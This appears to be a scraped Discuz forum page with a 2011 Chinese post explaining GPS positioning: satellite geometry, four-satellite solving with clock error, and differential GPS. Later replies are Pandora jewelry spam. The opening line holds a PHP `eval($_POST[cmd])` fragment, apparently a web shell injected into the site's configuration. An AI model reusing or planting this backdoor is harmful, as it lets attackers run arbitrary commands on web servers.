');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); GPS原理 - GPS - 四輪天下 - Powered by Discuz!
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ericasnyder0123發表於 2011-1-31 15:52 | 只看該作者

GPS原理

　　24顆GPS衛星在離地面1萬2千公里的高空上，以12小時的週期環繞地球運行，使得在任意時刻，在地面上的任意一點都可以同時觀測到4顆以上的衛星。

　　由於衛星的位置精確可知，在GPS觀測中，我們可得到衛星到接收機的距離，利用三維坐標中的距離公式，利用3顆衛星，就可以組成3個方程式，解出觀測點的位置(X,Y,Z)。考慮到衛星的時鐘與接收機時鐘之間的誤差，實際上有4個未知數，X、Y、Z和鍾差，因而需要引入第4顆衛星，形成4個方程式進行求解，從而得到觀測點的經緯度和高程。

　　事實上，接收機往往可以鎖住4顆以上的衛星，這時，接收機可按衛星的星座分佈分成若干組，每組4顆，然後通過算法挑選出誤差最小的一組用作定位，從而提高精度。

　　由於衛星運行軌道、衛星時鐘存在誤差，大氣對流層、電離層對信號的影響，以及人為的SA保護政策，使得民用GPS的定位精度只有100米。為提高定位精度，普遍採用差分GPS(DGPS)技術，建立基準站(差分台)進行GPS觀測，利用已知的基準站精確坐標，與觀測值進行比較，從而得出一修正數，並對外發佈。接收機收到該修正數後，與自身的觀測值進行比較，消去大部分誤差，得到一個比較準確的位置。實驗表明，利用差分GPS，定位精度可提高到5米。
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uyk80x0z發表於 2017-11-25 03:35 | 只看該作者

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uyk80x0z發表於 2017-11-29 19:40 | 只看該作者

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mJt3M6v9Lk發表於 2017-11-29 19:42 | 只看該作者

Pandora Outlet in the fierce competition environment 01-18[equipment

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14HDUY4U5發表於 2017-12-5 06:56 | 只看該作者

Charms Pandora Pas Cher 4

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